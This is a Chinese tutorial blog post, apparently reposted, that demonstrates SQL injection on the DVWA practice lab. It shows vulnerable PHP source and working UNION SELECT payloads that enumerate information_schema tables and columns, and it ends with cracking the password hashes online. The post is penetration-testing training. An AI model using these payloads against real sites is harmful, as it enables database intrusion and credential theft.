DVWA演练平台之SQL注入(全新认识)

Posted Risk2S

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DVWA演练平台之SQL注入(全新认识)相关的知识,希望对你有一定的参考价值。

 

1.开启平台,打开页面(low)。

2.测试id参数。

加单引号试试:

You have an error in your SQL syntax; check the manual that corresponds to your mysql server version for the right syntax to use near \'\'1\'\'\' at line 1

闭合了前面的单引号,所以后面的就需要注释掉。SQL语句注释:①“#”  ②“-- ”
3.分析源码。
 1 <?php    
 2 
 3 if(isset($_GET[\'Submit\'])){
 4     
 5     // Retrieve data
 6     
 7     $id = $_GET[\'id\'];
 8 
 9     $getid = "SELECT first_name, last_name FROM users WHERE user_id = \'$id\'";
10     $result = mysql_query($getid) or die(\'<pre>\' . mysql_error() . \'</pre>\' );
11 
12     $num = mysql_numrows($result);
13 
14     $i = 0;
15 
16     while ($i < $num) {
17 
18         $first = mysql_result($result,$i,"first_name");
19         $last = mysql_result($result,$i,"last_name");
20         
21         $html .= \'<pre>\';
22         $html .= \'ID: \' . $id . \'<br>名字: \' . $first . \'<br>姓氏: \' . $last;
23         $html .= \'</pre>\';
24 
25         $i++;
26     }
27 }
28 ?>

找到其中在数据库执行的SQL语句:

SELECT first_name, last_name FROM users WHERE user_id = \'$id\'

 

 


4.字段数查询。
order by 语句  用于根据指定的列对结果集进行排序。
在数据库中操作:

 order by 后面的数字就是我们猜测的在这个表中的列数,上图表明此表的列数为2。

5.获取显示位

跟数据库一样的:

6.查询关键信息

即是让内置查询函数代替当前的显示位。

version()  user()  database()  @@version_compile_os

 

 7.获取当前表的其他内容(密码)

其实在我们的数据库中还有一个information_schema数据库,这时候就要利用它啦!

information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。

SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。

TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。

COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

SQL语句查找表名,

SELECT first_name, last_name FROM users WHERE user_id =1
 union select table_name,2 from information_schema.tables where table_schema=\'dvwa\';

所以在页面中:

选择users表吧!  二营长,开炮。

SELECT first_name, last_name FROM users WHERE user_id =1 union select column_name,2 from information_schema.columns where table_name=\'users\';

嘻嘻!  现在肯定开打user,password这两列咯。

9.解密

http://www.cmd5.com/

 

完工!!!

以上是关于DVWA演练平台之SQL注入(全新认识)的主要内容,如果未能解决你的问题,请参考以下文章

漏洞防范:搭建漏洞靶场DVWA,DVWA之SQL注入漏洞,利用sqlmap把复杂的程序自动化

DVWA亲测SQL注入漏洞

有哪些好用的渗透测试演练系统

DVWA靶场实战——SQL Injection(Blind)

DVWA SQL注入源代码审计

DVWA SQL注入源代码审计